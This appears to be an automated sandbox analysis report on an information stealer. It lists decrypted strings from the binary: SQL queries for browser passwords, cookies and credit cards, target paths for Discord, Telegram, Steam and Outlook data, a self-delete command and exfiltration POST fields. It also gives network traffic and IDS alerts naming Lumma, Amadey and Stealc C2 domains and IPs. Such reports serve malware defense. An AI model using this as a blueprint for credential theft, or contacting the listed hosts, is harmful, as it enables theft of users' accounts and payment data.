Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RmEndSession
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_open
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_step
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_column_text
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_finalize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_close
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3_column_blob
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: encrypted_key
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PATH
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: NSS_Init
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: NSS_Shutdown
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PK11_FreeSlot
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PK11_Authenticate
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: C:\ProgramData\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: browser:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: profile:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: url:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: login:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: password:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Opera
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: OperaGX
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Network
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: cookies
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: .txt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: TRUE
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: FALSE
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: autofill
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: history
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: cc
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: name:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: month:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: year:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: card:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Cookies
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Login Data
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Web Data
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: History
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: logins.json
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: formSubmitURL
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: usernameField
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: encryptedUsername
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: encryptedPassword
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: guid
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: cookies.sqlite
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: formhistory.sqlite
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: places.sqlite
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: plugins
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Local Extension Settings
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Sync Extension Settings
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: IndexedDB
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Opera Stable
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Opera GX Stable
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CURRENT
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: chrome-extension_
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Local State
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: profiles.ini
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: chrome
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: opera
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: firefox
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: wallets
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ProductName
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: x32
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: x64
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ProcessorNameString
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DisplayName
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DisplayVersion
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Network Info:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - IP: IP?
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Country: ISO?
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: System Summary:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - HWID:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - OS:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Architecture:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - UserName:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Computer Name:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Local Time:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - UTC:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Language:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Keyboards:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Laptop:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Running Path:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - CPU:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Threads:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Cores:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - RAM:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - Display Resolution:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: - GPU:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: User Agents:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Installed Apps:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: All Users:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Current User:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Process List:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: system_info.txt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: freebl3.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: mozglue.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: msvcp140.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: nss3.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: softokn3.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: vcruntime140.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Temp\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: .exe
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: runas
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: open
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: /c start
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %DESKTOP%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %APPDATA%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %USERPROFILE%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %DOCUMENTS%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %RECENT%
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: *.lnk
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: files
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \discord\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Telegram Desktop\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: key_datas
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: map*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Telegram
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Tox
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: *.tox
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: *.ini
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Password
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 00000001
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 00000002
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 00000003
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 00000004
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Pidgin
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \.purple\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: accounts.xml
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: token:
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Software\Valve\Steam
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SteamPath
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \config\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ssfn*
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: config.vdf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DialogConfig.vdf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: libraryfolders.vdf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: loginusers.vdf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Steam\
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sqlite3.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: browsers
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: done
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: soft
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: https
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: POST
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HTTP/1.1
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: hwid
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: build
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: token
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: file_name
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: file
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: message
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50174 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: d319b3db9a.exe, 0000000C.00000003.2887185051.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2941246980.0000000000A4C000.00000040.00000001.01000000.00000010.sdmp, num.exe, 0000001B.00000000.2985012500.0000000000A7C000.00000008.00000001.01000000.00000014.sdmp
Source:	Binary string: my_library.pdb source: d319b3db9a.exe, 0000000C.00000003.2887185051.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2941246980.0000000000A4C000.00000040.00000001.01000000.00000010.sdmp, num.exe, 0000001B.00000000.2985012500.0000000000A7C000.00000008.00000001.01000000.00000014.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmp, Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000003.2401457366.0000000005210000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Directory queried: number of queries: 2225

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 191MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:58689 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:51839 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:63747 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:61041 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:55011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49728 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49761 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49721 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49771 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49789 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:59090 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:64449 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:51325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49996 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50002 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50005 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50017 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49992
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50013 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50006 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:51367 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:54541 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:53555 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:55273 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50050 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50047 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50053 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50052 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50016 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50056 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50059 -> 188.114.97.3:443
